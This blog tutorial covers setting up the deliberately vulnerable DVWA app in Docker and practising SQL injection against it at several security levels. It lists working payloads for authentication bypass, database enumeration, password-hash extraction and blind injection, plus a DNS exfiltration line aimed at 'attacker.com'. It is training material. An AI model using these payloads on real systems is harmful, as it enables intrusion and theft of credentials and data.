Oleo Bone
@oleobone

Complete DVWA Docker Setup & SQL Injection Testing: Ultimate Hands-On Guide

Table of Contents

  1. Introduction to SQL Injection
  2. Prerequisites & System Setup
  3. Installing Docker
  4. Setting Up DVWA
  5. Initial Configuration
  6. SQL Injection Testing – Low Security
  7. SQL Injection Testing – Medium Security
  8. SQL Injection Testing – High Security
  9. Advanced SQL Injection Techniques
  10. Cleanup & Management
  11. Security Best Practices
  12. Troubleshooting

Introduction to SQL Injection

SQL Injection is a critical web security vulnerability that allows attackers to interfere with an application’s database queries. This vulnerability occurs when user input is improperly sanitized and directly incorporated into SQL statements, enabling attackers to execute arbitrary SQL code.

How SQL Injection Works

Explanation:

  • The OR '1'='1' condition always evaluates to TRUE
  • The -- sequence comments out the remaining query
  • This bypasses authentication checks entirely

Types of SQL Injection Attacks

  1. Classic SQL Injection: Direct manipulation of SQL queries
  2. Blind SQL Injection: No direct output, inference through behavior
  3. Boolean-Based Blind: Inference through TRUE/FALSE responses
  4. Time-Based Blind: Inference through timing delays
  5. Union-Based: Using UNION operator to extract data
  6. Error-Based: Exploiting database error messages

Impact of SQL Injection

  • Data Theft: Extract sensitive information (usernames, passwords, personal data)
  • Data Modification: Alter prices, balances, or critical business data
  • Authentication Bypass: Gain unauthorized access to systems
  • Database Takeover: Complete control over database server
  • Data Destruction: Delete or corrupt database contents
  • Remote Code Execution: Execute commands on the database server

Prerequisites & System Setup

System Requirements

  • Operating System: Ubuntu 20.04+, Debian 10+, or similar Linux distribution
  • RAM: Minimum 2GB (4GB recommended)
  • Storage: 10GB free space
  • Network: Internet connection for downloading packages

Step 1: Update System Packages

Explanation:

  • sudo – Execute with superuser privileges
  • apt update – Refresh package repository information
  • apt upgrade -y – Upgrade all installed packages (automatically confirm)
  • System verification ensures compatibility

Step 2: Install Required Dependencies

# Install essential packages
sudo apt install -y \
    curl \
    wget \
    gnupg2 \
    software-properties-common \
    apt-transport-https \
    ca-certificates \
    lsb-release \
    ufw \
    git

# Verify installations
curl --version
wget --version

Package Explanations:

  • curl – Command-line tool for transferring data with URL syntax
  • wget – Network downloader for non-interactive downloads
  • gnupg2 – GNU Privacy Guard for package verification
  • software-properties-common – Manages software repositories
  • apt-transport-https – Allows apt to work with HTTPS repositories
  • ca-certificates – Common CA certificates for SSL verification
  • lsb-release – Linux Standard Base version reporting
  • ufw – Uncomplicated firewall for security

Step 3: Add Docker Repository GPG Key

Step 3: Add Docker Repository GPG Key

# Create directory for keyrings
sudo mkdir -p /etc/apt/keyrings

# Download and install Docker's GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg

# Set appropriate permissions
sudo chmod a+r /etc/apt/keyrings/docker.gpg

Security Verification:

Verify the GPG key fingerprint

gpg --show-keys /etc/apt/keyrings/docker.gpg

Step 4: Add Docker Repository to APT Sources

# Add Docker repository
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# Update package list with new repository
sudo apt update

Repository Structure Explanation:

  • arch=$(dpkg --print-architecture) – Automatically detects system architecture
  • signed-by – Specifies the GPG key for verification
  • $(lsb_release -cs) – Automatically detects distribution codename

Step 5: Install Docker Engine

# Install Docker components
sudo apt install -y \
    docker-ce \
    docker-ce-cli \
    containerd.io \
    docker-compose-plugin \
    docker-buildx-plugin

# Verify installation
docker --version
docker compose version

Component Details:

  • docker-ce – Docker Community Edition
  • docker-ce-cli – Docker Command Line Interface
  • containerd.io – Container runtime
  • docker-compose-plugin – Docker Compose for multi-container apps
  • docker-buildx-plugin – Extended build capabilities

Step 6: Start and Enable Docker Service

# Start Docker service
sudo systemctl start docker

# Enable Docker to start on boot
sudo systemctl enable docker

# Check Docker status
sudo systemctl status docker

# Verify Docker is running
sudo docker info

Step 7: Configure Docker User Permissions

# Add current user to docker group
sudo usermod -aG docker $USER

# Apply group changes without logout
newgrp docker

# Verify non-root Docker access
docker ps

# Configure Docker to start on boot
sudo systemctl enable docker.service
sudo systemctl enable containerd.service

Security Note: The docker group grants root-equivalent privileges. Only trusted users should be added to this group.

Setting Up DVWA

Step 8: Pull DVWA Docker Image

# Pull the official DVWA image
docker pull vulnerables/web-dvwa:latest

# Verify image download
docker images

# Inspect image details
docker inspect vulnerables/web-dvwa

Image Information:

  • Repository: vulnerables/web-dvwa
  • Purpose: Intentionally vulnerable web application
  • Use Case: Security training and testing
  • Warning: Never deploy on production networks

Step 9: Run DVWA Container

# Create and start DVWA container
docker run -d \
  --name dvwa \
  -p 8080:80 \
  --restart unless-stopped \
  -e PHPIDS_VERBOSE="false" \
  vulnerables/web-dvwa

# Alternative with custom port (if 8080 is occupied)
docker run -d --name dvwa -p 8081:80 vulnerables/web-dvwa

Port Mapping Options:

  • -p 8080:80 – Host port 8080 maps to container port 80
  • -p 8081:80 – Alternative port if 8080 is busy
  • -p 80:80 – Direct port 80 mapping (requires root)

Step 10: Verify Container Status

# Check running containers
docker ps

# Check all containers (including stopped)
docker ps -a

# View container details
docker inspect dvwa

# Check container logs
docker logs dvwa

# Follow logs in real-time
docker logs -f dvwa

Expected Output:

CONTAINER ID   IMAGE                  COMMAND   CREATED         STATUS         PORTS                  NAMES
a1b2c3d4e5f6   vulnerables/web-dvwa   "/r..."   2 minutes ago   Up 2 minutes   0.0.0.0:8080->80/tcp   dvwa

Step 11: Monitor Container Startup

# Monitor startup process
docker logs -f dvwa

# Wait for these key messages:
# - "Apache started"
# - "MySQL started"
# - "Starting MySQL database server: mysqld"
# - "Server is listening on 0.0.0.0:80"

Troubleshooting: If services don’t start within 2 minutes, check system resources and restart if necessary.

Initial Configuration

Step 12: Access DVWA Web Interface

# Get container IP address (optional)
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' dvwa

# Access via web browser
echo "Access DVWA at: http://localhost:8080"

Browser Access:

  1. Open web browser (Chrome, Firefox, etc.)
  2. Navigate to: http://localhost:8080 or http://your-server-ip:8080
  3. You should see the DVWA welcome page

Step 13: Database Setup

Initial Setup Page:

  1. Scroll down to “Setup / Reset Database” section
  2. Click “Create / Reset Database” button
  3. Wait for “Setup Successful” message
  4. Automatic redirect to login page

Step 14: Login to DVWA

Default Credentials:

  • Username: admin
  • Password: password

Login Steps:

  1. Enter credentials on login page
  2. Click “Login” button
  3. You should see the DVWA main menu

Step 15: Configure Security Level

Security Levels:

  • Low: No protection – completely vulnerable
  • Medium: Basic input sanitization
  • High: Advanced protection mechanisms
  • Impossible: Properly secured code

Setting Low Security:

  1. Click “DVWA Security” in left navigation
  2. Select “Low” from security level dropdown
  3. Click “Submit” button
  4. Verify message: “Security level set to low”

SQL Injection Testing – Low Security

Understanding the Vulnerable Page

Navigation:

This represents a typical user lookup functionality

Click “SQL Injection” in left menu

Observe the User ID input form

Step 16: Basic SQL Injection Tests

Test 1: Basic Injection to Bypass Input

1' OR '1'='1

Result: Returns all users in the database


Test 2: Comment Out Rest of Query

1' -- 

Result: Returns user with ID 1, ignores any additional conditions


Test 3: Union-Based Injection Setup

1' UNION SELECT 1,2 -- 

Result: Tests if UNION works and identifies displayable columns


Test 4: Error-Based Injection

1' AND 1=CAST((SELECT version()) AS INT) -- 

Result: May reveal database version through error messages


Step 17: Information Gathering

Get Database Version


Alternative Methods:

#Alternative Methods:
1' UNION SELECT 1,version() -- 
1' UNION SELECT 1,@@global.version_comment -- 

Get Current Database User

1' UNION SELECT 1,user() -- 

Additional User Info:

1' UNION SELECT 1,current_user() -- 
1' UNION SELECT 1,system_user() -- 

Get Current Database Name

1' UNION SELECT 1,database() -- 

Step 18: Database Enumeration

List All Databases

1' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.schemata -- 

List Tables in Current Database

1' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() -- 

List Columns in Users Table

1' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' -- 

Advanced Enumeration

1' UNION SELECT 1,GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.columns WHERE table_schema=database() -- 

Step 19: Data Extraction

Extract Usernames and Passwords

1' UNION SELECT user,password FROM users -- 

Extract Specific User Data

1' UNION SELECT user,password FROM users WHERE user='admin' -- 

Extract All User Data with Formatting

1' UNION SELECT GROUP_CONCAT(user), GROUP_CONCAT(password) FROM users -- 

Extract Database Schema Information

1' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database() -- 

SQL Injection Testing – Medium Security

Step 20: Change Security Level

  1. Navigate to “DVWA Security”
  2. Select “Medium” from dropdown
  3. Click “Submit”
  4. Verify: “Security level set to medium”

Understanding Medium Security Changes

Key Differences:

  • Uses mysql_real_escape_string() for input sanitization
  • Numeric parameters instead of string concatenation
  • Dropdown menu instead of free-text input
  • Different SQL query structure

Vulnerable Code Structure:

$id = $_POST['id'];
$id = mysqli_real_escape_string($connection, $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

Step 21: Medium Security Bypass Techniques

Method 1: Direct Numeric Injection

1 OR 1=1

Method 2: Union-Based Extraction

1 UNION SELECT 1,@@version

Method 3: Boolean-Based Blind Injection

1 AND SUBSTRING(@@version,1,1)=5
1 AND SUBSTRING(@@version,1,1)=5

Step 22: Medium Security Enumeration

Database Version

1 UNION SELECT 1,@@version

Table Enumeration

1 UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()

Column Extraction

1 UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'

Data Extraction

Data Extraction

SQL Injection Testing – High Security

Step 23: Set Security Level to High

  1. Go to “DVWA Security”
  2. Select “High” from dropdown
  3. Click “Submit”
  4. Verify: “Security level set to high”

High Security Characteristics

Protection Mechanisms:

  • Limited input length
  • Session-based input validation
  • Restricted character set
  • Separate input page

Step 24: High Security Bypass Techniques

Method 1: Session-Based Injection

1' UNION SELECT 1,2#

Method 2: Alternative Comment Syntax

1' UNION SELECT user,password FROM users#

Method 3: Complex Payloads

1' UNION ALL SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()#

Step 25: Advanced High Security Exploitation

Database Information

1' UNION SELECT @@version, database()#

User Enumeration

1' UNION SELECT user, authentication_string FROM mysql.user#

Schema Extraction

1' UNION SELECT table_schema, table_name FROM information_schema.tables#

Advanced SQL Injection Techniques

Time-Based Blind SQL Injection

Basic Time Delay

1' AND SLEEP(5) -- 

Conditional Time Delays

1' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0) -- 

Data Extraction with Timing

1' AND IF(ASCII(SUBSTRING((SELECT user()),1,1))=114,SLEEP(5),0) -- 

Boolean-Based Blind SQL Injection

Database Version Check

1' AND SUBSTRING(@@version,1,1)='5' -- 

User Enumeration

1' AND SUBSTRING((SELECT user()),1,1)='r' -- 

Table Existence Check

1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) > 0 -- 

Out-of-Band Data Exfiltration

DNS Data Exfiltration

1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT user()),'.attacker.com\\test.txt')) -- 

Advanced Union Techniques

Multiple Column Extraction

1' UNION SELECT 1,2,3,4,5 -- 

Complex Data Extraction

1' UNION SELECT 
    (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),
    (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users') -- 

Cleanup & Management

Container Management